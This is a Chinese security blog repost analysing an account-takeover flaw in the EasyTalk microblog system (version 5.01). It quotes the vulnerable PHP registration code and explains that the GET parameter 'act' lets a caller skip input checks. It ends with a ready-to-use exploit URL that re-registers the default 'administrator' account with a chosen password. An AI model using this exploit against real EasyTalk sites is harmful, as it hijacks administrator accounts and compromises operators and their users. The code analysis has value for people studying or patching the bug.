EasyTalk 微博系统任意修改账户漏洞 - Exp

admin 2021年4月3日18:54:32评论43 views字数 66阅读0分13秒阅读模式

    原作者:心灵

    漏洞发现在最新版本:5.01,旧版本没源码,不知是否存在。

    还是那句话,看代码……

看文件:op.php:

include('common.inc.php');   //载入全局变量
$op = $_GET['op']?$_GET['op']:'login';  // 因为下面代码的原因所以这不需要过滤
$allowviewarray=array("view","login","register","reset","faq","web","contact","top");
$allop=array("account","badge","faq","finder","follows","login","mailauth","register","reset","sendmsg","setting","share","theme","view","web","feedback","contact","im","top","guide","privatemsg");   //这2个不用解析了
if (!in_array($op, $allowviewarray)) {
    tologin();  //  不是$allowviewarray 定义的就跳到验证登录页面
}
if (in_array($op, $allop)) {  
    require('source/op_'.$op.'.inc.php');
} else {
    header("location: $webaddr/op/web/404");
}
?>

    这里简单得很,看下:“common.inc.php”。

主要代码:

$prev=$_SERVER['HTTP_REFERER'];
$addtime=time();
$action=$_POST['action'];
$act=$_GET['act'];       //问题在这里....配合一下 register里面的代码就可以了
$refer=$_POST['refer']?$_POST['refer']:$_GET['refer'];
$backto=$_POST['backto']?$_POST['backto']:$_GET['backto']; //ajax 回调
$urlrefer=$_COOKIE["urlrefer"];

    这里就是:“op.php?op=register”,载入的,看“op.php”那文件就知,简单得很……,还是那句,看代码。

以下是引用片段:

....  前面是多余代码...省略 主要是检测登录状态
$invitecode=trim($_GET['invitecode']);
$username=daddslashes(trim($_GET['uname']));
$nickname=daddslashes(clean_html(trim($_GET['unick'])));
$mailadres=daddslashes(trim($_GET['mail']));
$pass1=daddslashes(trim($_GET['pass1']));
$pass2=daddslashes(trim($_GET['pass2']));
$deniedname=array("admin","attachments","badge","images","include"."install","source","templates");
//用户名  名称  EMALL  密码1 密码2  都做了过滤注入工作...

if ($act=="check") {     //主要问题在这里...上面common.inc.php说了act是_GET的 如果act不等于check呢?那就不用检测了..............
    if ($closereg==3) {
        $invitemsg=invitecodeauth($invitecode);
        if ($invitemsg!='ok') {
            echo $invitemsg;
            exit;
        }
    }
    if(!preg_match("/^[a-zA-Zd]*$/i",$username)) {
        echo "账户名只能使用数字和字母组合!";
        exit;
    }
    if(in_array($username, $deniedname)) {
        echo "账户名不能使用!";
//........省略一堆验证注册信息的东西

if ($act=="reg") {  //悲剧了....他真以为所有人都按照他脚本的路去走。。。
    if ($username && $nickname && $mailadres && $pass1==$pass2) { //这文件开头说了都是_GET 里的
        $t=$db->query("INSERT INTO et_users (user_name,nickname,password,mailadres,signupdate) VALUES ('$username','$nickname','".md5(md5($pass2))."','$mailadres','$addtime')");
//悲剧悲剧 直接写入数据库了....
  //来到这里已经完成整个漏洞过程 下面代码省略
?>

EXP:

op.php?op=register&act=reg&uname=administrator&unick=admin&[email protected]&pass1=admin&pass2=admin

“administrator”是默认管理员账号,当然可以修改其他。

文章来源于lcx.cc:EasyTalk 微博系统任意修改账户漏洞 - Exp

相关推荐: 【文章】10.9 销毁信息 磁盘索引 文件恢复

10.9 销毁信息     在大多数的计算机上删除一个文件时,该文件并不会真的被删除。删除掉的唯一东西就是磁盘索引文件中的入口,磁盘索引文件用来告诉机器磁盘上的数据在哪里。许多软件供应商不失时机的出售文件恢复软件,它们可以在文件被删除后将其恢复。     还有…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:54:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   EasyTalk 微博系统任意修改账户漏洞 - Exphttps://cn-sec.com/archives/319150.html

发表评论

匿名网友 填写信息